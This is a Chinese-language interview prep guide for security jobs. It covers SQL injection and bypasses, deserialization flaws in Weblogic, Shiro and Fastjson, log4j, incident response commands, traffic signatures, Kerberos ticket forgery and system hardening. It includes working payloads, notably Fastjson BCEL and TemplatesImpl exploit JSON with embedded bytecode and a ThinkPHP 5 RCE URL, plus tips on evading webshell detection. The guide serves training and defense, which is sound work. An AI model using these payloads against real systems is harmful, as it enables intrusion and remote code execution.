网安面试宝典
是hvv面试宝典的一次更新,收录了本人面试过程中遇到的一些问题
sql注入原理、分类、绕过
原理:产生sql注入漏洞主要因为没有对接受到的参数进行过滤、验证和处理直接拼接到了sql语句中,然后直接执行该sql语句,这样就会导致恶意用户传入一些精心构造的sql代码,与后台sql语句拼接后形成完整的sql语句执行,达到攻击者的目的。
分类:我们可以把sql注入直接的分为字符型和数字型,主要特点就是在进行sql注入的时候是否需要闭合传参的单引号,不需要闭合说明是数值型,反之就是字符型;还可以将sql注入分为有回显的注入和无回显的注入,无回显的注入又别称为盲注,盲注有三大类,布尔盲注、时间盲注以及报错盲注;根据sql注入各自的特点可以分为联合注入、二次注入、宽字节注入、堆叠注入等,根据http报文中的不同位置可以有cookie注入、referer注入、x-forwarded-for注入等。
绕过:大小写绕过 、编码绕过、注释绕过、关键字/关键函数替换、参数污染、缓存区溢出、特殊符号
报错注入用到的函数、原理
函数:updatexml、floor、exp
原理:updatexml()一共有三个参数,第一个是xml内容、第二个参数是update的位置XPATH路径、第三个参数是更新后的内容;这里报错的主要原理是利用第二个参数,当其校验输入的内容是否符合XPATH格式的时候,不符合就报错,我们将第二个参数替换为version()或者database()等等,因为不满足XPATH格式所以会输出错误,输出错误的时候将sql代码(verson()/database()等)执行了。
sqlmap用过的tamper
base64编码、url编码、双url编码、宽字节、使用/**/分割sql关键字、替换空格为xx
如何防御sql注入
如何防御sql注入漏洞
1、在代码层面使用过滤函数正则表达式等对传入的参数进行一个过滤、检测、处理,使得传入的恶意数据无法按照预想方式执行
2、预编译sql语句
3、使用waf,安全狗,阿里云盾、网神、AF等waf进行防护
4、经常进行基线检查、漏洞扫描等工作
sql写shell条件/sqlmap写shell
条件:
1、sql写shell可以用到两个函数outfile和dumpfile可用(select into outfile不可写入二进制可执行文件,select into dumpfile 可写入二进制可执行文件)
2、关闭安全模式(需要数据库允许导出文件也就是secure_file_priv参数配置为空或者是目录地址,设置为NULL的时3、候不允许导出文件)
4、需要足够的权限
5、需要知道网站的绝对路径
6、GPC关闭可使用单引号
sqlmap --os-shell:
对于mysql数据库来说,--os-shell的本质就是写入两个php文件,其中tmpugvzq.php可以让我们上传文件到网站下,让我们命令执行,并将输出的内容返回sqlmap端,另一个返回课以让我们执行系统命令的命令行;简单的说就是先传小马再传自己的大马。
文件上传漏洞防范措施
客户端校验文件名
服务端文件名校验
文件头校验
将上传的文件进行随机重新命名
将上传上来的文件和web服务器隔离,专门存放到一台文件服务器上,通过文件id来访问,如果非要将文件存放在web服务器上,可以存放文件的文件夹的可执行权限去掉
文件包含漏洞防范措施
严格判断包含中的参数是否外部可控,
路径限制,禁止目录跳转字符
包含文件验证,验证包含的文件是否是白名单
拒绝使用动态包含,可以需要包含的页面固定写好
xss漏洞防御
对输入进行检查
对输出进行编码
设置httponly
常用webshell免杀思路
自定义加密函数bypass
通过http获得关键参数
重写函数bypass
渗透思路
信息收集:
1、获取域名whois信息
2、服务器子域名、旁站、c段查询
3、服务器操作系统类型、版本、补丁状况、开放端口:22 ssh 80 web 445 3389.。。
4、web中间件类型、版本、网站目录结构、使用的waf等设备
5、数据库类型、版本
6、使用的第三方软件
漏洞扫描:
nessus,awvs ,appscan
漏洞验证:
是否存在漏洞,是否可以拿到webshell或者其他权限
权限提升:
windows内核溢出提权,数据库提权、组策略首选项提取、web中间件提权、dll劫持提权、第三方软件/服务提权
linux内核漏洞提权、劫持高权限程序提权、sudoer配置文件错误提权
漏洞利用:
报告输出
漏洞修复
渗透复测
中间件漏洞
iis:
远程代码执行
解析漏洞 目录以.asp结尾 xxx.asp;1.jpg
tomcat:
war包后门部署
远程代码执行
apache:
解析漏洞 1.php%0a换行解析 1.php.xxx 未知后缀解析
SSI远程命令执行
路径穿越
nginx:
解析漏洞 1.jpg/.php
目录穿越 (nginx配置别名的时候alias的时候,忘记加/ 将造成目录穿越漏洞)
CRLF注入 (Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞)
jboss:
反序列化
war后门部署
weblogic:
反序列化
ssrf任意文件上传
文件读取
weblogic xml反序列化
原理:xml反序列化,这是wls security组件对外提供的webserver页面,通过xmlDecoder功能来解析用户的xml数据导致的任意字符串被当做代码去执行
特征:服务器开放7001端口 传递xml数到wls-wsat 数据包内容有bash或者dnslog字段。
weblogic攻击日志分析
反序列化:特征是xml格式的数据到wls,数据内容可能包含bash或者dnslog之类的 开放7001端口
弱⼝令利⽤上传war的特征:分析AdminServer.log⽇志查找deploy war字样
利⽤T3协议传输反序列化数据特征:AdminServer.log⽇志中,⼀般利⽤的cc链(commoncollections),因此⽇志⽂件可能有InvokerTransformer、ChainedTransformer等
利⽤socket连接特征:base_domain.log或AdminServer.log⽇志中,会有socket字样
⽂件操作:base_domain.log中会有FileOutputStream字样
T3 cc链的利用,T3协议加上java反序列化,特adminserver.log中有invoketransformer和chainedtransformer字段,T3CC利用原理好像是weblogic调用rmi服务传递对象时对参数没过滤完全,而中间T3协议对传递的字符串只能增加黑名单
特征:数据内包含t3字段,类似:t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-lbreens:7001\n\
序列化反序列化及其流量特征
序列化:对象转换为字符串
反序列化:字符串转换为对象
流量特征:
shiro反序列化:查看cookie中rememberme字段,恶意命令要从这里传入。判断是否有漏洞,查看返回包set cookie:rememberme=deleteme,验证失败返回的标识符。
fastjson反序列化:请求报文中查找json格式的数据,重点看有无rmi或者出网的一些行为
st2-045:请求头中的Content-Type字段
应急响应流程及windows/linux用到的命令
应急响应流程:
1、收集信息:搜集客户信息和中毒信息,备份
2、判断类型:判断是否是安全事件、是何种安全事件(勒索病毒、挖矿、断网、ddos等)
3、深入分析:日志分析、进程分析、启动项分析、样本分析
4、清理处置:杀掉恶意进程、删除恶意文件、打补丁、修复文件
5、产出报告:整理并输出完整的安全事件报告
windows应急
一、查看系统账号安全
1、查看服务器是否有弱口令、可疑账号、隐藏账号、克隆账号、远程管理端口是否对公网开放
2、win+r(eventwmr.msc)查看系统日志,查看管理员登录时间、用户名是否存在异常
二、检查异常端口、进程
1、netstat -ano 检查端口连接情况,是否有远程连接、可疑连接
2、tasklist | findstr "PID"根据pid定位进程
3、使用功能查杀工具
三、启动项检查、计划任务、服务
1、检查服务器是否有异常的启动项,msconfig看一下启动项是否有可以的启动
2、检查计划任务,查看计划任务属性,可以发现木马文件的路径
3、见擦汗服务自启动,services.msc注意服务状态和启动类型,检查是否有异常服务
四、检查系统相关信息
1、查看系统版本以及补丁信息 systeminfo
2、查找可以目录及文件 是否有新建用户目录 分析最近打开分析可疑文件(%UserProfile%\Recent)
五、自动化查杀
使用360 火绒剑 webshell后门可以使用d盾 河马等
六、日志分析
360星图日志分析工具 ELK分析平台
linux应急
1、检查用户及密码文件/etc/passwd、/etc/shadow 是否存在多余帐号,主要看一下帐号后面是否是 nologin,如果没有 nologin 就要注意;
2、通过 who 命令查看当前登录用户(tty 本地登陆 pts 远程登录)、w 命令查看系统信息,想知道某一时刻用户的行为、uptime查看登陆多久、多少用户,负载;
3、修改/etc/profile的文件,在尾部添加相应显示间、日期、ip、命令脚本代码,这样输入history命令就会详细显示攻击者 ip、时间历史命令等;
4、用 netstat -antlp|more命令分析可疑端口、IP、PID,查看下 pid 所对应的进程文件路径,运行ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的pid 号);
5、使用ps命令,分析进程 ps aux | grep pid
6、使用 vi /etc/inittab 查看系统当前运行级别,通过运行级别找到/etc/rc.d/rc[0~6].d对应目录是否存在可疑文件;
7、看一下crontab定时任务是否存在可疑启用脚本;
8、使用chkconfig --list 查看是否存在可疑服务;
9、通过grep awk命令分析/var/log/secure安全日志里面是否存在攻击痕迹;
10、chkrootkit、rkhunter、Clamav 病毒后门查杀工具对 Linux 系统文件查杀;
11、如果有 Web 站点,可通过 D 盾、河马查杀工具进行查杀或者手工对代码按脚本木马关键字、关键涵数(evel、system、shell_exec、exec、passthru system、popen)进行查杀Webshell 后门。
应急响应命令
系统排查
lscpu --查看cpu信息
uname -a --查看os信息
lsmod --查看模块信息
计划任务排查
crontab -l --查看当前的任务计划
crontab -u root -l --查看root用户的计划任务
进程排查
netstat -antlp | more 查看监听的任务
ls -alt /proc/PID 查看指定pid的可执行文件
lsof -p PID 查看进程打开的文件
ps -aux 检查进程
kill -9 PID 结束恶意进程
rm -rf filename 删除恶意文件
服务排查
chkconfig --list 查看系统中运行的服务
流量分析
拿到流量包后将其导入wireshark中,使用过滤规则对流量包进行分析,常用的过滤规则有:
http contains "关键字"
http.response.code == 200
http.request.method == POST
tcp.prot == 80
ip.addr == "10.1.1.1"
ip.src
ip.dst
Behinder流量特征
冰蝎是一款基于java开发的动态加密通信流量的新型webshell客户端,冰蝎的通信过程可以分为两个阶段:秘钥协商 加密传输
冰蝎2:ua头比较老,虽然内置了10余种,每次连接shell都会随机选择一个进行使用,由于比较老,容易被检测出来
content-length:16 #16是冰蝎2连接的特征
冰蝎3:冰蝎3取消了动态秘钥获取 accept头有application/xhtml+xmlapplication/xmlapplication/signed-exchange属于弱特征
ua头版本老:冰蝎3内置16个ua头都比较老,现实生活中使用较少。
哥斯拉流量特征
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate,
以上两个只能作为弱特征参考
同时在所有请求中Cookie中后面都存在;特征
fastjson反序列化
fastjson1.2.24反序列化漏洞原理
1、fastjson提供的反序列化功能允许用户传入json格式数据的时候通过@type的value值指定任意反序列化类名
2、fastjson的反序列化机制会将反序列的类进行实例化对象,并调用该对象的setter和部分getter方法
3、恶意用户可以构造payload是目标应用的代码执行流程进入这部分setter和getter方法,如果这些方法中存在Gadget,就会造成一些安全问题。
4、官方采取黑名单过滤的方法,对反序列化的类名进行校验,checkAutoType不断被绕过
fastjson利用流程:
使用@type的value字段执行反序列化的类,例如JdbcRowSetImpl这个类,接着将这个类中的成员变量datasourcename的value值设为rmi远程加载类,这样fastjson在将传入的类反序列化、实例对象后,会通过成员变量传入的value值,请求rmi服务器,最后rmi返回远程类,fastjson执行这个远程恶意类。导致rce漏洞。
fastjson反序列化的特征:
在请求包中查找json格式的字符串,重点在于rmi和一些出网操作
fastjson不出网利用
1、基于BasicDataSource类
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
条件:BasicDataSource需要有dbcp或者tomcat-dbcp的依赖
利用过程:使用BasicDataSource链,构造恶意类后将其的字节码转化为BCEL格式,其中driverClassName和driverClassLoader都是可控的,由用户输入,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL..这种格式,字啊newInstance方法执行后被实例化,第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。
{
"@type":"java.lang.Class",
"val":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7d$91$cfN$C1$Q$c6$bf$c2$$$c5$ba$C$o$e2$3fD$b8$n$HI$bcJ$bc$YM$d0U$P$Q$8e$seidq$dd$dd$y$8b$f1$8d$3csQ$e3$c1$H$f0$a1$8c$b3$F5$5el$d2$99$ce7$9d_$a7$ed$c7$e7$db$3b$80C$d4$F$b2$d801$li$81Mlql$L$98$d8$e1$a8p$ec2d$da$ae$ef$c6$c7$M$e9$c6$7e$9f$c18$J$86$8a$no$bb$be$ba$9a$de$PT$d4$93$D$8f$94$a2$j8$d2$eb$cb$c8M$e2$85h$c4$pw$c2$c0$ed$89$a7Tx$c4$90m$3b$de$82$c7$u_$b3$c7$f2A$b6$3c$e9$df$b6$3a$7e$ac$a2h$g$c6jx$fa$e8$a80v$D$9f$wV$ba$b1t$ee$$e$a8$91$d4$j$83$e8$G$d3$c8Qgnr$84$d0$e8$83$84ca$J$82$a3j$a1$82$3d$86$ea$ffl$L5$I$GS$d73$U$7ew_$P$c6$ca$89$ffH$bdQ$a4$e4$90$$$d48O$5e$n$lF$ae$l$eb$cez$91t$U$ea$e0$f4$94$c9H$81$rm$90$5d$a6$a8E$9e$917$9b$_$603$9d$b6$c8f$b4H$97$pk$cd7$m$87$3c$f9$y$K$3f$c57$g$G$e4KH$bd$c2xB$f6$a2$f9$8c$ccL$8b$Z$3a$c5DZ$e3$caH$fe$d0$m$8dkU$d0$wG$a8o$bc$a0$dc$w$8a$U$ad$d1$e4Hu8J$G$r$d6uG$e5$_$H$X$vT$R$C$A$A"}
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class Test {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Exp.class);
String code = Utility.encode(cls.getBytes(), true);
code = "$$BCEL$$" + code;
new ClassLoader().loadClass(code).newInstance();
System.out.println(code);
}
}
2.基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类
条件:Feaure.SupportNonPublicField开启,默认是关闭状态
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}
shiro550反序列化
原理:
导致shiro反序列化的主要原因就是shiro提供的记住密码功能,当用户打开这个功能时会在请求阿包中生成一个cookie,cookie的value值是经过序列化->aes加密->base64加密后的字符串,关键在于aes加密的秘钥是默认的,如果没有修改这个秘钥,就会导致反序列化漏洞,攻击者可以构造恶意代码,将恶意代码序列化-aes加密-base64加密后传入cookie,这样就导致RCE漏洞。
特征:shiro是一个身份验证组件,一般用在登录模块,登录失败会有一个失败标识rememberme=deleteme,如果返回包中存在该字段则说明可能存在反序列化漏洞。
shiro攻击日志分析
看返回包中是否有rememberme=deleteme字段
st2攻击日志分析
特征是使用OGNL语法,payload中含有memberaccess字段,相关特征应该在catalina.out日志文件中有体现
php代码审计变量覆盖漏洞的审计思路;php反序列化的魔术方法知道哪些;
经常导致变量覆盖漏洞场景有:
$$,extract()函数,parse_str()函数,import_request_variables()使用不当,开启了全局变量注册等。
魔术方法:
__construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set() //在给不可访问属性赋值时触发
__isset() //当对不可访问属性调用 isset() 或 empty() 时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当尝试以调用函数的方式调用一个对象时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
xxe命令执行无回显你的思路
如果有外网权限去访问我在外网部署的服务,查看是否执行。如果无外网权限,执行文件写入,看是否可以生成新的文件
mysql udf提权的条件是什么
udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。
A.将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
B.从udf文件中引入自定义函数(user defined function) 3.执行自定义函数
sudo提权你有哪些思路
首先通过信息收集,查看是否存在sudo配置不当的可能。如果存在,寻找低权限sudo用户的密码,进而提权。
很多linux运维由于对sudo命令理解不深,只是单纯以为加入sudo组的用户可以赋予root权限,而没有对权限分配作细化分配,就如很多linux运维在chomod +x file时候直接给与chomd 777 file一样,过大了分配了权限,虽然能够达到其使用的功能,但实际给黑客提权留下了操作漏洞。因此,这个提权漏洞完全是因为linux运维的配置不当引起的。
通过日志,找到sudo的高级动作
在上传的木马使用蚁剑和冰蝎无法连接时,怎么getshell
上传小马,确认是否可以上传文件,在确保上传功能可以被利用的前提下,利用大马,菜刀等来完成getshell,反弹也可以实现,利用上传的文件进行下载或执行某些反弹命令
内存马
内存马简介
利用中间件的进程执行恶意代码
目标:访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果
实现:以java为例,客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。
种类和实现
servlet-api类:filter型、servlet型、listener型
spring类:interceptor型、controller型
Java Instrumentation类:agent型
如果是jsp注入,日志中排查可疑jsp的访问请求。
如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法
根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。
如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200
检测与处置
新增的或修改的;
没有对应class文件的
xml配置中没注册的
冰蝎等常见工具使用的
filterchain中排第一的filter类
log4j漏洞
原理:log4j2框架下的lookup服务提供了{}字段解析功能,传进去的值会被直接解析,JNDI服务会请求远程服务来链接本地对象,这时候只用在{}里面调用JNDI服务即可反弹shell到指定服务器
特征:数据包里有{jndi:ladp//}字段
中挖矿病毒怎么解决
首先ps -aux查看进程分析
然后top 分析算力,挖矿用到的算力比较多,对流量进行过滤,含有矿池服务器的流量就是挖矿病毒
最后kill进程,rm掉程序
删不掉这么办
先下线,然后检查挖矿是否有在内网传播及时下线所有被传播的主机、上机排查攻击痕迹、一般可以从cpu占用情况,可以进程、开放端口、计划任务、服务项几个方面排查
将样本上传到在线分析平台,清除挖矿主程序主要就是双向封禁矿池地址、删除计划任务自启动、删服务,结束恶意进程、删病毒
删不掉:确认一下一下是因为程序在使用,还是权限不够,更具具体情况采取措施
直接降权,降权到没有执行权限
清理加固:以木马不在重启,不存在可疑外联,无法外联为准
1、双向封禁矿池地址(防止挖矿木马继续外连,以及挖矿木马进行内网传播)
2、删除计划任务以及自启动项(windows 的msconfig打开启动项 linux的 crontab -r 删除计划任务删除/etc/rc.local与/etc/rc[0到6].d文件中恶意启动项)
3、删除服务(windows使用 sc delete 服务名 linux update-rc.d 服务名称 remove)
4、结束恶意进程
5、删除挖矿木马(rm -rf 木马绝对路径 无权删除时 lsattr 木马绝对路径 查看权限 chattr -i 木马绝对路径 解除文件锁定后删除)
6、病毒清除纲要
框架漏洞
stu2
stu2-045:
Struts2默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 类对上传数据进行解析.JakartaMultiPartRequest类在处理Content-Type时如果获得非预期的值的话,将会抛出一个异常,对这个异常的处理会对错误信息进行OGNL表达式解析,从而造成了恶意代码执行(接受content-Type值的时候会使用OGNL表达式解析,造成远程代码执行漏洞)
stu-061
检测思路
在新版本的struts2中,已经不能通过参数构造来解析ognl表达式了,所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候,可以考虑直接爆破所有参数,然后判断页面中是否有预计的结果文本即可。
比如:
%{ ‘gcowsec-‘ + (2000 + 20).toString()}
预计会得到
gcowsec-2020
使用脚本判断结果中是否包含就可以了
此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。
stu-057
漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生
利用条件
alwaysSelectFullNamespace被设置为true,此时namespace的值是从URL中获取的。URL是可控的,所以namespace也是可控的。
action元素没有名称空间属性集,或者使用通配符。该名称空间将由用户从URL传递并解析为OGNL表达式,最终导致远程代码执行的脆弱性
thinkphp
RCE
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
SQL注入
漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
index.php?ids[]=1&ids[]=2
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
return 'select success';
}
}
护网出现攻击行为怎么办
判断攻击是否是真实攻击ip
隔离主机
判断攻击类型
根据类型进行排查
0day防御
1、基于业务方面的0day防御
系统维护升级!!(24小时一般官方升级补丁或者0day防御手段出现)
2、基于技术方面0day防御
0day爆发前拿到poc,根据poc漏洞攻击规则,进行代码修补
虚拟补丁进行流量封堵
设:
流量规则 /index.php?cmd=whoami;
访问index.php页面的并且函数为cmd,存在whoami ,pwd等流量,直接拦截
溯源反制
溯源画像技术---ip注册信息,云服务器,vps,社工库,支付宝,src排行榜
溯源反制技术---直接反制攻击机,钓鱼邮件反制,蜜罐,工具反制(反制awvs,sqlmap,cs等)
蜜罐与反蜜罐
蜜罐:
利用jsonp漏洞跨域读取数据,使用js后台发送json数据包,使用恶意用户的浏览器请求各社交网站,如果该用户浏览器存储过一些网站cookie,都将被蜜罐捕获。
反蜜罐:
1、另起一个干净的虚拟机,没有登录过任何社交网站
2、打开无痕模式
3、切换浏览器,切换后的浏览器没有登录过任何社交网站
4、禁用jsonp(浏览器反蜜罐插件)
安全加固
Linux加固:
1. 修改ssh的配置文件,禁止root直接登录
2. 修改密码配置策略文件,确保密码的最小长度为8位
3. 确保错误登录3次,锁定此账户5分钟
4. 禁止su非法提权,只允许root和wheel组用户su到root
5. 不响应ICMP请求
6. 设置登录超时时间为10分钟
7. 结束非法登录用户
Windows加固:
1. 修改3389端口
2. 设置安全策略,不允许SAM账户的匿名枚举,不允许SAM账户和共享的匿名枚举。
3. 在组策略中设置:阻止访问注册表编辑工具
4. 开启审核对象访问,成功与失败;开启审核目录服务访问,成功与失败;开启审核系统事件,成功与失败
5. 禁止445端口漏洞
6. 设置屏幕保护在恢复时使用密码保护
7. 设置windows密码策略:使密码必须满足复杂性,设置密码长度最小值为8位,设置密码最长存留期为30天
8. 开启Windows防火墙,关闭ping服务,打开3389、80等服务
9. 关闭系统默认共享
安全设备
奇安信态势感知 – 天眼
sip:"10.1.1.1" AND dip:"10.1.1.2" AND status:(200)
#10.1.1.1访问服务器10.1.1.2状态码为200的流量日志
dport:"443" OR dport:"8080
#访问端口是443或者8080的流量日志
dport:"80" NOT host:"www.example.com"
#访问端口为80,排除访问www.example.com域名的流量日志
dip:"10.1.1.2" AND client_os:"windows7"
#服务器ip为10.1.1.2,操作系统为windows7的流量日志
处置方案:
传感器上出现sql注入告警后
1、验证此条sql注入告警是否真的存在sql注入漏洞
2、通过请求数据包判断触发告警的行为是客户自身还是攻击行为
3、若为自身业务问题,则将漏洞点相关整合成报告反馈客户
4若为攻击者行为,需要进一步分析,查看分析平台攻击ip除了sql注入外是否有其他攻击行为,攻击的结果如何
5、将发现时间及攻击行为反馈给护网客户
传感器上出现RCE告警
1、验证此条警告师傅真的成功(若成功直接出报告)
2、若失败,判断攻击者是手工还是工具批量扫描行为
3、进入分析平台进一步分析,查看分析平台攻击ip除了rce是否有其他攻击行为,攻击结果如何
4、将发现时间及攻击行为反馈给护网
如何判断是否误报
安全设备查找源ip,看该ip是否有其他攻击行为
看请求包触发安全设备的敏感数据信息
看返回包状态码,200或者302去自己复现一下(复现前一定得到客户许可)
追踪日志行为,看回显数据
内网渗透
kerberos协议
1、客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为秘钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT
2、将TGT进行加密签名返回给客户机,只有域用户(krbtgt)才能读取kerberos中的TGT数据
3、客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
4、检测成功后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。
当Client想要访问Server的服务时,先要向AS发送能够证明自己身份的验证,验证通过后AS会给Client发送一个TGT,随后Client再向TGS去验证自己的身份通过后,TGS会给Client发送一个ST,最后是Client和Server做双向验证。三步判断,客户机请求认证服务器,客户机请求票据授权服务器,客户机和服务器双向验证
AS(Authentication Server)= 认证服务器
KDC(Key Distribution Center)= 密钥分发中心
TGT(Ticket Granting Ticket)=票据授权票据,票据的票据
TGS(Ticket Granting Server)=票据授权服务器
SS(Service Server)= 特定服务提供端
ST(session key Ticket)
黄金票据
恶意用户拿到KDC的krbtgt用户NTLM 哈希值,生成TGT,绕过对任意用户的账号策略,让用户成为任意组的成员。
会有日志记录,不够隐蔽,需要获取域控的权限,攻击上鸡肋,权限维持上突出
在 Windows 的 kerberos 认证过程中,Client 将自己的信息发送给 KDC,然后 KDC 使用 Krbtgt 用户的 NTLM 哈希作为密钥进行加密,生成 TGT。那么如果获取到了 Krbtgt 的 NTLM 哈希值,不就可以伪造任意的 TGT 了吗。因为 Krbtgt 只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
利用 Krbtgt 的 Hash 值可以伪造生成任意的 TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务
满足的条件:
•需要伪造的域管理员用户名
•完整的域名
•域 SID
•krbtgt 的 NTLM 哈希值
白银票据
伪造TGS,使用已知授权服务密码hash伪造TGT
很少留下日志,隐蔽性好,主要用于权限维持
白银票据的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由 KDC 颁发 TGT,并且在生成伪造的 TGT 得20分钟内,TGS 不会对该 TGT 的真伪进行效验。
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用 krbtgt 账号的密码哈希值,因此更加隐蔽。
满足的条件:
•域名
•域 SID
•目标服务器的 FQDN
•可利用的服务
•服务账号的 NTLM 哈希值
•要伪造的用户名
版权归原作者 高小白—专业摸鱼 所有, 如有侵权,请联系我们删除。